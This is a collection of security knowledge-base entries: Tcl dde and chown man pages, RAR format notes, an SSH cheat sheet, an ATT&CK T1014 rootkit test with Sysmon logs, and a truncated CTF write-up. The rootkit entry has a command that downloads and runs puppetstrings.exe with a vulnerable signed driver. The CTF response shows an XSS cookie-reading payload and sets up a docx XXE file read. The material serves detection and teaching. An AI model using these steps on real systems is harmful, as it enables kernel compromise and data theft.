'\" '\" Copyright (c) 1997 Sun Microsystems, Inc. '\" '\" See the file "license.terms" for information on usage and redistribution '\" of this file, and for a DISCLAIMER OF ALL WARRANTIES. '\" '\" RCS: @(#) $Id: dde.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $ '\" '\" The definitions below are for supplemental macros used in Tcl/Tk '\" manual entries. '\" '\" .AP type name in/out ?indent? '\" Start paragraph describing an argument to a library procedure. '\" type is type of argument (int, etc.), in/out is either "in", "out", '\" or "in/out" to describe whether procedure reads or modifies arg, '\" and indent is equivalent to second arg of .IP (shouldn't ever be '\" needed; use .AS below instead) '\" '\" .AS ?type? ?name? '\" Give maximum sizes of arguments for setting tab stops. Type and '\" name are examples of largest possible arguments that will be passed '\" to .AP later. If args are omitted, default tab stops are used. '\" '\" .BS '\" Start box enclosure. From here until next .BE, everything will be '\" enclosed in one large box. '\" '\" .BE '\" End of box enclosure. '\" '\" .CS '\" Begin code excerpt. '\" '\" .CE '\" End code excerpt. '\" '\" .VS ?version? ?br? '\" Begin vertical sidebar, for use in marking newly-changed parts '\" of man pages. The first argument is ignored and used for recording '\" the version when the .VS was added, so that the sidebars can be '\" found and removed when they reach a certain age. If another argument '\" is present, then a line break is forced before starting the sidebar. '\" '\" .VE '\" End of vertical sidebar. '\" '\" .DS '\" Begin an indented unfilled display. '\" '\" .DE '\" End of indented unfilled display. '\" '\" .SO '\" Start of list of standard options for a Tk widget. The '\" options follow on successive lines, in four columns separated '\" by tabs. '\" '\" .SE '\" End of list of standard options for a Tk widget. '\" '\" .OP cmdName dbName dbClass '\" Start of description of a specific option. cmdName gives the '\" option's name as specified in the class command, dbName gives '\" the option's name in the option database, and dbClass gives '\" the option's class in the option database. '\" '\" .UL arg1 arg2 '\" Print arg1 underlined, then print arg2 normally. '\" '\" RCS: @(#) $Id: dde.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $ '\" '\" # Set up traps and other miscellaneous stuff for Tcl/Tk man pages. .if t .wh -1.3i ^B .nr ^l \n(.l .ad b '\" # Start an argument description .de AP .ie !"\\$4"" .TP \\$4 .el \{\ . ie !"\\$2"" .TP \\n()Cu . el .TP 15 .\} .ta \\n()Au \\n()Bu .ie !"\\$3"" \{\ \&\\$1 \\fI\\$2\\fP (\\$3) .\".b .\} .el \{\ .br .ie !"\\$2"" \{\ \&\\$1 \\fI\\$2\\fP .\} .el \{\ \&\\fI\\$1\\fP .\} .\} .. '\" # define tabbing values for .AP .de AS .nr )A 10n .if !"\\$1"" .nr )A \\w'\\$1'u+3n .nr )B \\n()Au+15n .\" .if !"\\$2"" .nr )B \\w'\\$2'u+\\n()Au+3n .nr )C \\n()Bu+\\w'(in/out)'u+2n .. .AS Tcl_Interp Tcl_CreateInterp in/out '\" # BS - start boxed text '\" # ^y = starting y location '\" # ^b = 1 .de BS .br .mk ^y .nr ^b 1u .if n .nf .if n .ti 0 .if n \l'\\n(.lu\(ul' .if n .fi .. '\" # BE - end boxed text (draw box now) .de BE .nf .ti 0 .mk ^t .ie n \l'\\n(^lu\(ul' .el \{\ .\" Draw four-sided box normally, but don't draw top of .\" box if the box started on an earlier page. .ie !\\n(^b-1 \{\ \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .el \}\ \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .\} .fi .br .nr ^b 0 .. '\" # VS - start vertical sidebar '\" # ^Y = starting y location '\" # ^v = 1 (for troff; for nroff this doesn't matter) .de VS .if !"\\$2"" .br .mk ^Y .ie n 'mc \s12\(br\s0 .el .nr ^v 1u .. '\" # VE - end of vertical sidebar .de VE .ie n 'mc .el \{\ .ev 2 .nf .ti 0 .mk ^t \h'|\\n(^lu+3n'\L'|\\n(^Yu-1v\(bv'\v'\\n(^tu+1v-\\n(^Yu'\h'-|\\n(^lu+3n' .sp -1 .fi .ev .\} .nr ^v 0 .. '\" # Special macro to handle page bottom: finish off current '\" # box/sidebar if in box/sidebar mode, then invoked standard '\" # page bottom macro. .de ^B .ev 2 'ti 0 'nf .mk ^t .if \\n(^b \{\ .\" Draw three-sided box if this is the box's first page, .\" draw two sides but no top otherwise. .ie !\\n(^b-1 \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .el \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .\} .if \\n(^v \{\ .nr ^x \\n(^tu+1v-\\n(^Yu \kx\h'-\\nxu'\h'|\\n(^lu+3n'\ky\L'-\\n(^xu'\v'\\n(^xu'\h'|0u'\c .\} .bp 'fi .ev .if \\n(^b \{\ .mk ^y .nr ^b 2 .\} .if \\n(^v \{\ .mk ^Y .\} .. '\" # DS - begin display .de DS .RS .nf .sp .. '\" # DE - end display .de DE .fi .RE .sp .. '\" # SO - start of list of standard options .de SO .SH "STANDARD OPTIONS" .LP .nf .ta 5.5c 11c .ft B .. '\" # SE - end of list of standard options .de SE .fi .ft R .LP See the \\fBoptions\\fR manual entry for details on the standard options. .. '\" # OP - start of full description for a single option .de OP .LP .nf .ta 4c Command-Line Name: \\fB\\$1\\fR Database Name: \\fB\\$2\\fR Database Class: \\fB\\$3\\fR .fi .IP .. '\" # CS - begin code excerpt .de CS .RS .nf .ta .25i .5i .75i 1i .. '\" # CE - end code excerpt .de CE .fi .RE .. .de UL \\$1\l'|0\(ul'\\$2 .. .TH dde 3tcl 8.1 Tcl "Tcl Built-In Commands" .BS '\" Note: do not modify the .SH NAME line immediately below! .SH NAME dde \- 执行一个动态数据交换命令 .SH "总览 SYNOPSIS" .sp \fBpackage require dde 1.1\fR .sp \fBdde \fIservername \fR?\fItopic\fR? .sp \fBdde ?\-async?\fR \fIcommand service topic \fR?\fIdata\fR? .BE .SH "描述 DESCRIPTION" .PP 当运行在 Microsoft Windows 下的时候,这个命令允许一个应用来发送动态数据交换(Dynamic Data Exchange:DDE)命令。动态数据交换是一种机制,在这里应用可以交换原始数据。每个 DDE 事务都需要一个\fI服务名(service name)\fR和一个\fI主题(topic)\fR。\fI服务名\fR和主题均由应用来定义;Tcl 使用的服务名是 \fBTclEval\fR,而主题名是用\fBdde servername \fR给出的解释器的名字。其他的应用有其自己的\fI服务名\fR和\fI主题\fR。例如,Microsoft Excel 的服务名是 \fBExcel\fR。 .PP \fBdde\fR 命令的唯一的选项是: .TP \fB\-async\fR 要求异步激发(invocation)。这只对\fBexecute\fR 子命令有效。正常的,\fBdde execute\fR 子命令等待直到命令完成,返回适当的出错信息。当使用了 \fB-async\fR 选项,命令立刻返回,不能获得出错信息。 .SH "DDE 命令 COMMANDS" .PP 下面的命令是完整的动态数据交换命令集的子集。 .TP \fBdde servername \fR?\fItopic\fR? \fBdde servername\fR 用服务名 \fBTclEval\fR 和由 \fItopic \fR指定的主题名来把解释器注册为一个 DDE 服务器。如果没有给出 \fItopic\fR,\fBdde servername\fR返回当前的主题的名字,如果未被注册为一个服务则返回空串。 .TP \fBdde execute \fIservice topic data\fR \fBdde execute\fR 接受 \fIdata\fR 并把它发送到由 \fIservice\fR 指示出的服务器并由 \fItopic \fR指示出主题。典型的,\fIservice\fR 是一个应用的名字,而 \fItopic\fR 是要在其上工作的一个文件。给予远程应用的是 \fIdata\fR 域(field)。典型的,应用把 \fIdata\fR 域作为脚本对待,接着在应用中运行脚本。如果脚本没有运行,命令返回一个错误。如果使用了 \fB-async\fR标志,命令立即返回而没有错误。 .TP \fBdde poke \fIservice topic item data\fR \fBdde poke\fR 传递 \fIdata\fR 到由 \fIservice\fR指示的服务器并用 \fItopic\fR 和 \fIitem\fR 加以指定。典型的, \fIservice\fR 是一个应用的名字。\fItopic\fR 由应用指定,可以是给服务器的一个命令或一个要在其上工作的一个文件的名字。\fIitem\fR 也由应用指定,不常用,但必须总是非空。给予远程应用的是 \fIdata\fR 域( field)。 .TP \fBdde request \fIservice topic item\fR \fBdde request\fR 典型的用于得到某种东西的值;如 Microsoft Excel 中的一个单元格(cell)的值或在 Microsoft Word 中一个选择的文本。 \fIservice\fR 典型的是一个应用的名字。 \fItopic\fR典型的是文件的名字,\fIitem\fR由用户来指定。命令返回在应用中定义的 \fIitem\fR的值。 .TP \fBdde services \fIservice topic\fR \fBdde services\fR 返回当前在机器上存在的服务-主题对的一个列表。如果 \fIservice\fR 和 \fItopic\fR 都是空串({}), 则返回在系统上当前可获得的所有的服务-主题对。如果 \fIservice\fR 是空而 \fItopic\fR 不是,则返回指定主题的所有服务。如果 \fIservice\fR 不空而 \fItopic\fR 空,则返回指定服务的所有主题。如果均不空,若当前存在这个服务-主题对则返回它,否则返回空。 .TP \fBdde eval \fItopic cmd \fR?\fIarg arg ...\fR? \fBdde eval\fR 求值一个命令和它的参数,解释器用 \fItopic\fR 指定。DDE 服务必须是\fBTclEval\fR 服务。这个命令可以用于在 Windows 上替换 send。 .SH "DDE 和 TCL" 一个 Tcl 解释器总是有一个服务名 \fBTclEval\fR。每个不同的运行 Tcl 应用的解释器必须给予一个用 \fBdde servername\fR指定的唯一的名字。每个解释器只有使用 \fBdde servername\fR命令来设置名字,这个解释器才可作为一个 DDE 主题来获得。所以一个 \fBdde services TclEval {}\fR 命令将返回一个服务-主题对的列表,这里每个当前运行的解释器都将是一个主题。 .PP 当 Tcl 处理一个 \fBdde execute\fR 命令时,用于执行的数据作为一个脚本在 \fBdde execute\fR 命令的主题指明的解释器中运行。 .PP 当 Tcl 处理一个 \fBdde request\fR命令时,它返回在 dde 命令中给出的变量的值,变量在由 dde主题指名的解释器的上下文中的。Tcl 为内部使用而保留变量 \fB$TCLEVAL $EXECUTE $RESULT\fR,对这些变量的\fBdde request\fR 命令将返回不可预测的(unpredictable)结果。 .PP 打算运行一个Tcl 脚本的一个外部(external)应用应当使这个脚本在一个变量中存储它的结果,运行 \fBdde execute\fR 命令,接着运行 \fBdde request\fR 得到这个变量的值。 .PP 当使用 DDE 时,注意要确保使用 \fBupdate\fR或者 \fBvwait \fR来刷新事件队列。在使用\fBwish\fR时这是缺省的,但不包括调用了一个阻塞命令的情况(例如 \fBexec\fR 而不填加 \fB&amp;\fR 来在后台运行进程)。如果由于某种原因而导致事件队列没被刷新,DDE 命令将挂起(hang)直到事件队列被刷新。这可能产生死锁的情况。 .SH "参见 SEE ALSO" tk(n), winfo(n), send(n) .SH "关键字 KEYWORDS" application, dde, name, remote execution .SH "[中文版维护人]" .B 寒蝉退士 .SH "[中文版最新更新]" .B 2001/06/18 .SH "《中国 Linux 论坛 man 手册页翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
.\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.48.5. .\"******************************************************************* .\" .\" This file was generated with po4a. Translate the source file. .\" .\"******************************************************************* .TH CHOWN 1 2022年9月 "GNU coreutils 9.1" 用户命令 .SH 名称 chown \- 更改文件属主与属组 .SH 概述 \fBchown\fP [\fI\,选项\/\fP]... [\fI\,所有者\/\fP][\fI\,:\/\fP[\fI\,组\/\fP]] \fI\,文件\/\fP... .br \fBchown\fP [\fI\,选项\/\fP]... \fI\,\-\-reference=参考文件 文件\/\fP... .SH 描述 本手册页记录 GNU 版本的 \fBchown\fP。\fBchown\fP 变更每个给定文件的用户所有权和/或组所有权。如果只给出了单个所有者信息(用户名或数字用户 ID),则将每个给定文件的所有者设为给出的用户,且不修改文件的属组信息。如果所有者信息后紧接了冒号以及一个用户组名称(或者数字用户组 ID,中间没有空格),则同时相应地变更文件的属组信息。如果所有者信息后紧跟了冒号但冒号后面没有给出用户组信息,则将文件的所有者设为给出的用户,且文件的属组设置为用户的登录用户组。如果指定了冒号和组但省略了所有者,则只修改文件属组信息;在此情况下,\fBchown\fP 的行为与 \fBchgrp\fP 相同。如果只给出了一个冒号或者整个操作符为空,则既不修改所有者也不修改属组。 .SH 选项 .PP 修改每个文件的所有者和/或所属组为给定的所有者和/或组。如同时使用 \fB\-\-reference\fP,将每个给定文件的所有者和属组修改为参考文件所具有的对应值。 .TP \fB\-c\fP, \fB\-\-changes\fP 类似 verbose 选项,但仅在做出修改时进行报告 .TP \fB\-f\fP, \fB\-\-silent\fP, \fB\-\-quiet\fP 不显示大多数错误消息 .TP \fB\-v\fP, \fB\-\-verbose\fP 输出各个处理的文件的诊断信息 .TP \fB\-\-dereference\fP 影响每个符号链接的原始引用文件(这是默认行为),而非符号链接本身 .TP \fB\-h\fP, \fB\-\-no\-dereference\fP 只影响符号链接,而非被引用的任何文件(仅当系统支持更改符号链接的所有者时,该选项才有用) .TP \fB\-\-from\fP=\fI\,当前所有者\/\fP:当前所属组 只当每个文件的所有者和组符合选项所指定时才更改所有者和组。其中一个可以省略,这时已省略的属性就不需要符合原有的属性 .TP \fB\-\-no\-preserve\-root\fP 不特殊对待“/”(默认行为) .TP \fB\-\-preserve\-root\fP 不允许在“/”上递归操作 .TP \fB\-\-reference\fP=\fI\,参考文件\/\fP 使用指定参考文件的所有者和所属组信息,而非手工指定 所有者:组 的值 .TP \fB\-R\fP, \fB\-\-recursive\fP 递归操作文件和目录 .PP 以下选项是在指定了 \fB\-R\fP 选项时被用于设置如何遍历目录结构体系。如果您指定了多于一个选项,那么只有最后一个会生效。 .TP \fB\-H\fP 如果命令行参数是一个指向目录的符号链接,则对其进行遍历 .TP \fB\-L\fP 遍历每一个遇到的指向目录的符号链接 .TP \fB\-P\fP 不遍历任何符号链接(默认) .TP \fB\-\-help\fP 显示此帮助信息并退出 .TP \fB\-\-version\fP 显示版本信息并退出 .PP 如果没有指定所有者,则不会更改所有者信息。若所属组若没有指定也不会对其更改,但当加上 ':' 时 GROUP 会更改为指定所有者的主要组。所有者和所属组可以是数字或名称。 .SH 范例 .TP chown root /u 将 /u 的属主更改为"root"。 .TP chown root:staff /u 和上面类似,但同时也将其属组更改为"staff"。 .TP chown \-hR root /u 将 /u 及其子目录下所有文件的属主更改为"root"。 .SH 作者 由 David MacKenzie 和 Jim Meyering 编写。 .SH 报告错误 GNU coreutils 的在线帮助: <https://www.gnu.org/software/coreutils/> .br 请向 <https://translationproject.org/team/zh_CN.html> 报告翻译错误。 .SH 版权 Copyright \(co 2022 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>. .br This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. .SH 参见 \fBchown\fP(2) .PP .br 完整文档请见: <https://www.gnu.org/software/coreutils/chown> .br 或者在本地使用: info \(aq(coreutils) chowns invocation\(aq
sec-knowleage
# RAR --- * RAR 文件头 `52 61 72 21 1A 07 00` * RAR 文件尾 `C4 3D 7B 00 40 07 00` --- Rar 文件主要由标记块,压缩文件头块,文件头块,结尾块组成。 其每一块大致分为以下几个字段: | 名称 | 大小 | 描述 | | - | - | - | | HEAD_CRC | 2 | 全部块或块部分的CRC | | HEAD_TYPE | 1 | 块类型 | | HEAD_FLAGS | 2 | 阻止标志 | | HEAD_SIZE | 2 | 块大小 | | ADD_SIZE | 4 | 可选字段 - 添加块大小 | Rar 压缩包的文件头为 0x 52 61 72 21 1A 07 00。 紧跟着文件头(0x526172211A0700)的是标记块(MARK_HEAD),其后还有文件头(File Header)。 | 名称 | 大小 | 描述 | | - | - | - | | HEAD_CRC | 2 | CRC of fields from HEAD_TYPE to FILEATTR and file name | | HEAD_TYPE | 1 | Header Type: 0x74 | | HEAD_FLAGS | 2 | Bit Flags (Please see ‘Bit Flags for File in Archive’ table for all | possibilities) | | HEAD_SIZE | 2 | File header full size including file name and comments | | PACK_SIZE | 4 | Compressed file size | | UNP_SIZE | 4 | Uncompressed file size | | HOST_OS | 1 | Operating system used for archiving (See the ‘Operating System Indicators’ | table for the flags used) | | FILE_CRC | 4 | File CRC | | FTIME | 4 | Date and time in standard MS DOS format | | UNP_VER | 1 | RAR version needed to extract file (Version number is encoded as 10 * | Major version + minor version.) | | METHOD | 1 | Packing method (Please see ‘Packing Method’ table for all possibilities | | NAME_SIZE | 2 | File name size | | ATTR | 4 | File attributes | | HIGH_PACK_SIZ | 4 | High 4 bytes of 64-bit value of compressed file size. Optional | value, presents only if bit 0x100 in HEAD_FLAGS is set. | | HIGH_UNP_SIZE | 4 | High 4 bytes of 64-bit value of uncompressed file size. Optional | value, presents only if bit 0x100 in HEAD_FLAGS is set. | | FILE_NAME | NAME_SIZE bytes | File name - string of NAME_SIZE bytes size | | SALT | 8 | present if (HEAD_FLAGS & 0x400) != 0 | | EXT_TIME | variable size | present if (HEAD_FLAGS & 0x1000) != 0 | 每个 rar 文件的结尾快(Terminator)都是固定的 | Field Name | Size (bytes) | Possibilities | | - | - | - | | HEAD_CRC | 2 | Always 0x3DC4 | | HEAD_TYPE | 1 | Header type: 0x7b | | HEAD_FLAGS | 2 | Always 0x4000 | | HEAD_SIZE | 2 | Block size = 0x0007 | --- ## Source & Reference - [CTF-MISC总结](https://ares-x.com/2017/11/07/CTF-Misc%E6%80%BB%E7%BB%93/)
sec-knowleage
--- title: SSH date: 2021-01-27 11:48:05 background: bg-blue-400 tags: - protocol - remote - network - 22 categories: - Linux Command intro: | This quick reference cheat sheet provides various for using SSH. plugins: - copyCode --- Getting Started --------------- ### Connecting Connect to a server (default port 22) ```shell script $ ssh root@192.168.1.5 ``` Connect on a specific port ```shell script $ ssh root@192.168.1.5 -p 6222 ``` Connect via pem file (0400 permissions) ```shell script $ ssh -i /path/file.pem root@192.168.1.5 ``` See: [SSH Permissions](/chmod#ssh-permissions) ### Executing Executes remote command ```shell script $ ssh root@192.168.1.5 'ls -l' ``` Invoke a local script ```shell script $ ssh root@192.168.1.5 bash < script.sh ``` Compresses and downloads from a server ```shell script {.wrap} $ ssh root@192.168.1.5 "tar cvzf - ~/source" > output.tgz ``` ### SCP {.row-span-2} Copies from remote to local ```shell script $ scp user@server:/dir/file.ext dest/ ``` Copies between two servers ```shell script $ scp user@server:/file user@server:/dir ``` Copies from local to remote ```shell script $ scp dest/file.ext user@server:/dir ``` Copies a whole folder ```shell script $ scp -r user@server:/dir dest/ ``` Copies all files from a folder ```shell script $ scp user@server:/dir/* dest/ ``` Copies from a server folder to the current folder ```shell script $ scp user@server:/dir/* . ``` ### Config location | File Path | Description | |--------------------------|----------------------| | `/etc/ssh/ssh_config` | System-wide config | | `~/.ssh/config` | User-specific config | | `~/.ssh/id_{type}` | Private key | | `~/.ssh/id_{type}.pub` | Public key | | `~/.ssh/known_hosts` | Logged in host | | `~/.ssh/authorized_keys` | Authorized login key | ### SCP Options | Options | Description | |---------------|------------------------------------------------| | scp `-r` | <yel>R</yel>ecursively copy entire directories | | scp `-C` | <yel>C</yel>ompresses data | | scp `-v` | Prints <yel>v</yel>erbose info | | scp `-P` 8080 | Uses a specific <yel>P</yel>ort | | scp `-B` | <yel>B</yel>atch mode _(Prevents password)_ | | scp `-p` | <yel>P</yel>reserves times and modes | ### Config sample ```toml Host server1 HostName 192.168.1.5 User root Port 22 IdentityFile ~/.ssh/server1.key ``` Launch by alias ```shell script $ ssh server1 ``` See: Full [Config Options](https://linux.die.net/man/5/ssh_config) ### ProxyJump ```shell script $ ssh -J proxy_host1 remote_host2 ``` ```shell script {.wrap} $ ssh -J user@proxy_host1 user@remote_host2 ``` Multiple jumps ```shell script {.wrap} $ ssh -J user@proxy_host1:port1,user@proxy_host2:port2 user@remote_host3 ``` ### ssh-copy-id ```shell script {.wrap} $ ssh-copy-id user@server ``` Copy to alias server ```shell script {.wrap} $ ssh-copy-id server1 ``` Copy specific key ```shell script {.wrap} $ ssh-copy-id -i ~/.ssh/id_rsa.pub user@server ``` SSH keygen {.cols-5} --------------- ### ssh-keygen {.col-span-2} ```shell script $ ssh-keygen -t rsa -b 4096 -C "your@mail.com" ``` ---- | - | - | - | |---|------|-------------------------------| | | `-t` | [Type](#key-type) of key | | | `-b` | The number of bits in the key | | | `-C` | Provides a new comment | {.left-text} Generate an RSA 4096 bit key with email as a comment ### Generate {.col-span-2 .row-span-2} Generate a key interactively ```shell script $ ssh-keygen ``` Specify filename ```shell script $ ssh-keygen -f ~/.ssh/filename ``` Generate public key from private key ```shell script $ ssh-keygen -y -f private.key > public.pub ``` Change comment ```shell script $ ssh-keygen -c -f ~/.ssh/id_rsa ``` Change private key passphrase ```shell script $ ssh-keygen -p -f ~/.ssh/id_rsa ``` ### Key type - rsa - ed25519 - dsa - ecdsa ### known_hosts {.col-span-2} Search from known_hosts ```shell script $ ssh-keygen -F <ip/hostname> ``` Remove from known_hosts ```shell script $ ssh-keygen -R <ip/hostname> ``` ### Key format - PEM - PKCS8 Also see -------- - [OpenSSH Config File Examples](https://www.cyberciti.biz/faq/create-ssh-config-file-on-linux-unix/) _(cyberciti.biz)_ - [ssh_config](https://linux.die.net/man/5/ssh_config) _(linux.die.net)_
sec-knowleage
# T1014-win-Rootkit ## 来自ATT&CK的描述 攻击者可能使用rootkits来隐藏程序、文件、网络连接、服务、驱动程序和其他系统组件的存在。Rootkits是通过拦截、钩住和修改提供系统信息的操作系统API调用来隐藏恶意软件的存在的程序。 Rootkits或启用Rootkit的功能可能存在于操作系统的用户或内核层面,或更低的层面,包括管理程序、主引导记录或系统固件。在Windows、Linux和Mac OS X系统中,已经出现了rootkits。 ## 测试案例 Windows签名的驱动程序 Rootkit测试 该测试利用已签名的驱动程序在Kernel中执行代码。这个例子来自一个博客,它利用puppetstrings.exe和易受攻击的(已签名的驱动程序)capcom.sys。capcom.sys驱动可以在github上找到。一个很好的参考是在这里: http://www.fuzzysecurity.com/tutorials/28.html SHA1 C1D5CF8C43E7679B782630E93F5E6420CA1749A7 我们利用这里的工作: https://zerosum0x0.blogspot.com/2017/07/puppet-strings-dirty-secret-for-free.html 我们的PoC漏洞的哈希值是SHA1 DD8DA630C00953B6D5182AA66AF999B1E117F441 这将模拟隐藏一个进程。 攻击命令: 使用command_prompt运行! 需要提升权限(如root或admin)。 ``` #{puppetstrings_path} #{driver_path} ``` driver_path:C:\Drivers\driver.sys puppetstrings_path:PathToAtomicsFolder\T1014\bin\puppetstrings.exe 依赖性: 使用 powershell 运行! 说明:puppetstrings.exe必须存在于磁盘的指定位置(#{puppetstrings_path})。 检查先决条件命令。 ``` if (Test-Path #{puppetstrings_path}) {exit 0} else {exit 1} ``` 获得先决条件的命令: ``` Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1014/bin/puppetstrings.exe" -OutFile "#{puppetstrings_path}" ``` ## 检测日志 暂无,经过本地复现,Windows安全日志、Powershell操作日志、Sysmon日志未记录到此命令的执行情况。 ## 测试复现 ### 测试1 Windows Signed Driver Rootkit Test ``` PS C:\Windows\system32> C:\Users\zhuli\Desktop\TevoraAutomatedRTGui\atomic-red-team-master\atomics\T1014\bin\puppetstrings.exe C:\Drivers\driver.sys Look for process in tasklist.exe 请按任意键继续. . . puppetstrings failed - error: 00000003 请按任意键继续. . . ``` Windows Server 2019未能成功复现。 ## 日志留痕 Windows Sysmon日志可记录此测试行为。 ``` 日志名称: Microsoft-Windows-Sysmon/Operational 来源: Microsoft-Windows-Sysmon 日期: 2022/1/10 14:58:52 事件 ID: 1 任务类别: Process Create (rule: ProcessCreate) 级别: 信息 关键字: 用户: SYSTEM 计算机: zhuli.qax.com 描述: Process Create: RuleName: technique_id=T1086,technique_name=PowerShell UtcTime: 2022-01-10 06:58:52.494 ProcessGuid: {78c84c47-d92c-61db-450c-000000000800} ProcessId: 7608 Image: C:\Users\zhuli\Desktop\TevoraAutomatedRTGui\atomic-red-team-master\atomics\T1014\bin\puppetstrings.exe FileVersion: - Description: - Product: - Company: - OriginalFileName: - CommandLine: "C:\Users\zhuli\Desktop\TevoraAutomatedRTGui\atomic-red-team-master\atomics\T1014\bin\puppetstrings.exe" C:\Drivers\driver.sys CurrentDirectory: C:\Windows\system32\ User: QAX\Administrator LogonGuid: {78c84c47-d270-61db-d56a-010100000000} LogonId: 0x1016AD5 TerminalSessionId: 1 IntegrityLevel: High Hashes: SHA1=DD8DA630C00953B6D5182AA66AF999B1E117F441,MD5=676ED2C5D31006FC4CBC1B0E0D564F4F,SHA256=1184228AC822F0F8C7C8242325052F91B500AD7C08E4A9B266211E8E623CAE8E,IMPHASH=1B1B5BBC1BB70593CD761304457481AC ParentProcessGuid: {78c84c47-d270-61db-4a0b-000000000800} ParentProcessId: 4560 ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ParentUser: QAX\Administrator 事件 Xml: <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event"> <System> <Provider Name="Microsoft-Windows-Sysmon" Guid="{5770385f-c22a-43e0-bf4c-06f5698ffbd9}" /> <EventID>1</EventID> <Version>5</Version> <Level>4</Level> <Task>1</Task> <Opcode>0</Opcode> <Keywords>0x8000000000000000</Keywords> <TimeCreated SystemTime="2022-01-10T06:58:52.495942600Z" /> <EventRecordID>9861</EventRecordID> <Correlation /> <Execution ProcessID="2764" ThreadID="3668" /> <Channel>Microsoft-Windows-Sysmon/Operational</Channel> <Computer>zhuli.qax.com</Computer> <Security UserID="S-1-5-18" /> </System> <EventData> <Data Name="RuleName">technique_id=T1086,technique_name=PowerShell</Data> <Data Name="UtcTime">2022-01-10 06:58:52.494</Data> <Data Name="ProcessGuid">{78c84c47-d92c-61db-450c-000000000800}</Data> <Data Name="ProcessId">7608</Data> <Data Name="Image">C:\Users\zhuli\Desktop\TevoraAutomatedRTGui\atomic-red-team-master\atomics\T1014\bin\puppetstrings.exe</Data> <Data Name="FileVersion">-</Data> <Data Name="Description">-</Data> <Data Name="Product">-</Data> <Data Name="Company">-</Data> <Data Name="OriginalFileName">-</Data> <Data Name="CommandLine">"C:\Users\zhuli\Desktop\TevoraAutomatedRTGui\atomic-red-team-master\atomics\T1014\bin\puppetstrings.exe" C:\Drivers\driver.sys</Data> <Data Name="CurrentDirectory">C:\Windows\system32\</Data> <Data Name="User">QAX\Administrator</Data> <Data Name="LogonGuid">{78c84c47-d270-61db-d56a-010100000000}</Data> <Data Name="LogonId">0x1016ad5</Data> <Data Name="TerminalSessionId">1</Data> <Data Name="IntegrityLevel">High</Data> <Data Name="Hashes">SHA1=DD8DA630C00953B6D5182AA66AF999B1E117F441,MD5=676ED2C5D31006FC4CBC1B0E0D564F4F,SHA256=1184228AC822F0F8C7C8242325052F91B500AD7C08E4A9B266211E8E623CAE8E,IMPHASH=1B1B5BBC1BB70593CD761304457481AC</Data> <Data Name="ParentProcessGuid">{78c84c47-d270-61db-4a0b-000000000800}</Data> <Data Name="ParentProcessId">4560</Data> <Data Name="ParentImage">C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe</Data> <Data Name="ParentCommandLine">"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" </Data> <Data Name="ParentUser">QAX\Administrator</Data> </EventData> </Event> ``` ## 检测规则/思路 ### 建议 一些rootkit保护措施可能内置于反病毒或操作系统软件中。有一些专门的rootkit检测工具可以寻找特定类型的rootkit行为。监测是否存在未被识别的DLLs、设备、服务以及对MBR的改变。 ## 参考推荐 MITRE-ATT&CK-T1014 <https://attack.mitre.org/techniques/T1014> Atomic-red-team-T1014 <https://github.com/redcanaryco/atomic-red-team/tree/master/atomics/T1014>
sec-knowleage
# Document with secrets Category: Web ## Description > Part 6 of Imperva's challenge > > To be a good web application penetration tester, you need to notice the small things? What can go wrong when a file is uploaded? > ## Solution The [previous challenge](Bleeding_cloud.md)'s flag has left us with a hint: `docx_are_xml_too_flag6_in_passwd`. The bug bounty management system offers the ability to upload a report: ![](images/bug_bounty.png) After clicking the button, a form pops up and allows uploading a file. According to the UI, only `*.docx` files are allowed. When the report is displayed in the UI, the author name is displayed next to the document name: ```javascript function populateTable(data) { // $('#bugsTable').bootstrapTable({ // data: datadata // }); for (var i = 0; i < data.length; i++) { var bugDetails = data[i].details var pattern = /((http|https|ftp):\/\/)/; if(pattern.test(bugDetails)) { let docURL = bugDetails.substring(0, bugDetails.lastIndexOf('|')) let docName = bugDetails.substring(bugDetails.lastIndexOf('/')+1, bugDetails.lastIndexOf('|')) let creator = bugDetails.substring(bugDetails.lastIndexOf('|')+1, bugDetails.length) bugDetails = `<a href=${docURL}>${docName}</a> by ${creator}` } var row = $('<tr><td class="align-middle">' + data[i].category + '</td><td class="align-middle">' + data[i].company + '</td><td class="align-middle">' + bugDetails + '</td></tr>'); $('#bugsTable').append(row); } } ``` This information is retrieved from the server side: ```console root@kali:/media/sf_CTFs/technion/Document_with_secrets# curl 'http://www.vulnet.zone/api/bugs/getBugs.php' -H 'Connection: keep-alive' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36' -H 'Content-Type: text/plain;charset=UTF-8' -H 'Accept: */*' -H 'Origin: http://www.vulnet.zone' -H 'Referer: http://www.vulnet.zone/welcome.php' -H 'Accept-Language: en-US,en;q=0.9,he;q=0.8' -H 'Cookie: cookies_here' --data-binary '{"id":"320"}' --compressed --insecure {"status":"succeeded","data":[{"category":"Open this select menu","company":"<script>document.getElementById(\"bugsTable\").rows[1].cells[1].innerHTML = document.cookie; <\/script>","details":""},{"category":"Open this select menu","company":"Fake Company","details":"http:\/\/www.vulnet.zone:80\/uploads\/test.docx|Fake Author"}]} ``` The hint says that `*.docx` files essentially contain XML files (a `docx` file is just a `zip` file with a different extension and some predefined internal files, some of them are XMLs). It also says that the flag is in `/etc/passwd`. So, it sounds like 